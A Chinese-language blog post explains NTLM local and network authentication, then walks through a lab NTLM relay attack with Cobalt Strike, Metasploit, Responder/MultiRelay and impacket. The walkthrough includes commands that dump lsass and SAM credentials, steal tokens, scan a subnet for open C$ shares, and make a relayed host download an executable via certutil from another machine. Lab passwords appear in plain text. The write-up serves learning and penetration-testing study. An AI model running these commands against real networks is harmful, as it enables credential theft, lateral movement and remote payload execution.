NTLM协议&relay重放攻击

发布时间 2023-12-11 14:57:08作者: Running_J

NTLM协议学习

NTLM是NT LAN Manager的缩写,是telnet的一种验证身份的方式,分为本地认证和网络认证,当我们登录主机的时候,就会将lsass.exe进程转换的明文密码hash与sam文件进行对比,如果相同说明认证成功就能成功登录,而网络认证就是当我们访问同于局域网的主机的SMB共享时,就需要提供凭证通过验证才能访问。

本地认证NTML

本地认证流程:用户输入密码,然后系统收到密码之后计算成NTLM hash,然后和本地文件 /config/sam 数据库中该用户的hash进行对比,如果相同就登录成功,如果不相同就登录失败,这个sam文件可以使用mimikatz进行提取,也可以使用msf和cs进行提取,如果考虑杀软可以将lsass.exe的数据进行导出,然后放在本地,使用mimikatz和procdump.exe进行读取

procdump.exe -accepteula -ma lsass.exe lsass.dmp   //这个dmp就是导出的文件,直接找到lsass.exe进程然后右键导出即可
// 使用mimikatz提取sam文件数据
提升权限
privilege::debug
读取文件,并提取数据
sekurlsa::logonpasswords
也可以使用命令

也可以使用注册表进行导出

reg save hklm\sam sam.hive
reg save hklm\system system.hive


然后使用mimikatz进行读取

// 需要将文件放在mimkatz的同一文件夹
lsadump::sam /sam:sam.hive /system:system.hive


NTLM hash的加密流程

将明文口令转换成十六进制,转换成Unicode格式,然后对Unicode字符串进行MD4加密,这个结果就是32位的十六进制NTLMhash

以上的就是sam文件的读取也就是获取用户的NTLM值和本地NTLM的认证方式

NTLM hash的格式

当我们对NTLM hash进行查询的时候有的时候会出现这样的格式

Administrator:501:AAD3B435B51404EEAAD3B435B51404EE:XXXX

这个前面的501是用户的标识符,然后后面的第二部分是LM hash在windows vista和windows server 2008版本之后就默认禁用LM hash所以抓到的hash如果是"AAD3B435B51404EEAAD3B435B51404EE"说明此主机禁用了LM hash或者为空,最后的一部分就是NT hash

NET-NTLM 认证(网络认证)

这个是用于工作组或者域环境的认证,比如我们在访问同一局域网的一台主机的SMB共享服务的时候就需要提供认证才能进行访问

认证的流程

工作组的认证流程:

1 客户端向服务端发起用户信息的请求,这个请求包含用户名和想要访问的资源信息等

2 服务端接收到了用户的请求,判断本地用户是否存在客户端发送的用户名,如果存在,就会生成一个16位的Challenge,客户端接收到这个Challenge就使用本地用户的NTLM hash来生成一个response,如果使用net use xxx 用户名和密码,就会使用命令提供的账号和密码对Challenge进行加密,这个加密的response(就是通过NTLM hash加密的Challenge)就是NET-NTLM hash,在中继攻击的时候也是获取这个值进行攻击的。

3 客户端发送加密好的这个hash发送给服务端,服务端也会使用本地的用户的NTML对Challenge进行加密,然后和客户端发送的这个加密值进行对比,如果相同就验证成功就能正常提供连接,反之失败

域环境的认证流程:

1 在域环境中域内的机器中的SAM文件中不存在域用户的NTLM hash ,所以服务器将客户端的用户名 Challenge reponse通过Netlogon协议发送到域控主机,让域控对这个客户端进行验证是否是域内合法的机器,也就是对这个机器进行身份验证

2 域控接收服务端发送的请求,在自己的ntds.dit中查询是否存在这个域用户,如果存在就使用对应的NTLM hash对Challenge进行加密,最后与服务端发送的NET-NTLM hash进行对比,如果相同,说明是域内的这个机器拥有的密码是正确的,确认了是存在且正常的用户,然后将验证结果发送给服务器

3 服务端接收到域控返回的验证结果,判断是否成功,如果验证成功说明可以提供连接,反之拒绝连接

Net-NTML-Hash的格式如下

username:domain:challenge:NTProofStr:blob

NTLM Relay攻击

原理:利用NTLM协议漏洞,将用户的身份验证信息中继到攻击者控制的计算机上面,从而实现对目标计算机的攻击,可以进行敏感信息的窃取和系统的完全控制。其中的原理核心就是当域内主机进行比如smb服务的访问时,首先使用的就是当前用户的账号和密码进行验证,如果验证失败对方主机就直接拒绝访问,反之成功,也就是说这个攻击需要域内主机的账号和密码都相同才能攻击成功

实验:使用msf+cs进行NTLMrelay攻击实验

kali:192.168.9.16 cs + msf

域控密码:dc2012@

受害主机:windows server 2008 192.168.9.54 本地 administrator/123321Zxc 域账号am:amanagent#1

攻击主机 :windows 7 192.168.9.53 本地 administrator/123321Zxc 域账号:am:amanagent#1

当主机都用本地管理员进行登录:

windows server 2008

win 7:

问题:切换本地administrator账号提示该账号被禁用,使用dc进行修改无法修改成功

解决:使用域控账号登录主机然后使用管理员权限进行修改

如果没有设置管理员账号密码就得先设置密码
// net user administrator *
之后输入密码即可
第二步就是激活管理员账户
net user administrator /active:yes,之后就能正常使用本地管理员账号进行登录


win7使用smb进行连接尝试

net use \\192.168.9.54c$


直接就连接成功

然后清除连接,将win7使用其他用户进行登录

删除连接:net use \\192.168.9.53\c$ /delete


之后再次使用53主机重新进行尝试连接显示

说明只能是当前登录用户的账号密码相同才能成功

使用cs先创建一个木马让攻击机器上线

然后使用插件进行提权

之后把这个会话回传到msf

先创建一个msf的监听

之后在cs执行spawn msf就能将这个会话转入到msf,首先msf进行监听


然后run进行监听

cs执行命令

然后需要设置路由

run autoroute -p 查看当前的路由

没有路由所以得自己添加就运行给的命令即可,如果在实际攻击中kali主机是一般是外网的就必须设置路由并且目标不出网还得将攻击的payload修改成正向连接,就是bind模式

run post/multi/manage/autoroute


然后使用smb协议的relay攻击模块

use exploit/windows/smb/smb_relay

这里设置攻击目标 set smbhost xxx

然后还得进行一个设置

set autorunscript post/windows/manage/migrate

最后直接run

然后在53主机上切换administrator用户执行dir \192.168.9.16\c$就能获得一个54的session

进入session进行查看权限

这里成功的原理其实就是将自己的密码通过kali进行中继到54个主机然后进行匹配连接。

在实际环境中并不能直接登录主机进行切换administrator主机进行执行命令,所以就可以使用msf或者cs中的窃取权限到administrator就可以了,然后再执行命令即可

cs中:

执行命令

ps查看进程

然后找到administrator权限运行的进程,记录pid使用命令进行窃取

steal_token 2384

然后查看权限

然后再执行

dir \\192.168.9.16\c$ # 也可以使用net use命令

然后查看是否有shell得到

得到shell查看权限

第二种就是利用msf进行窃取权限进行releay重放

首先设置好攻击主机,我这里设置的是192.168.9.54,然后还得设置这个 set autorunscript post/windows/manage/migrate,每一次新的攻击都得重新设置,不然会报错不能成功

然后进行run状态

再执行sessions进入53的session执行命令ps查看进程然后记录administrator的进程pid

然后执行命令进行窃取权限

migrate 876

查看权限

然后在执行dir的命令进行访问kali

就直接是54的system权限

域内批量进行releay攻击方法

写一个bat脚本传入获得权限的主机然后进行查看,如果能够执行成功并且返回不是错误,就证明这些主机可以进行攻击

@echo off
setlocal EnableDelayedExpansion   // 这个就是启用了延迟变量,这个就是可以使用!!对变量进行改变复制

set "startIP=50"
set "endIP=70"

echo Testing connectivity...
for /L %%i in (%startIP%, 1, %endIP%) do (
    set "ip=192.168.9.%%i"
    echo Testing !ip!...
    dir \\!ip!\c$ > nul 2>&1
    if !errorlevel! == 0 (
        echo !ip! is reachable.
    ) else (
        echo !ip! is not reachable.
    )
    设置延迟,防止执行后一直卡住,提高测试效率
    timeout /t 3 > nul
)

endlocal

效果

中继攻击获取hash

使用responder+Multirelay获取权限

首先使用kali的responder进行监听网卡

// 这里需要设置 /usr/share/responder下面的conf工具关闭smb和http的选项
responder -I eth0 -wd

然后启动Multirelay工具攻击54主机

python multrirelay.py -t 192.168.9.54 -u ALL

然后在53主机执行命令

dir \192.168.9.16\c$

然后在kali中就能获得54的权限

还有使用impacket套件进行使用,因为在实际环境中,监听网卡并不能很好的进行渗透测试

比如 192.168.9.16是我们的外网vps主机,将impacket套件进行上传然后执行下面的指令,下载木马

proxychains4 python3 smbrelayx.py -h 192.168.9.54 -c "certutil.exe -urlcache -split -f http://192.168.9.52/6689.exe 2233.exe"

然后就会进行执行,当然代理的网络很慢,等待一下就能下载成功,下一步就执行木马进行上线即可。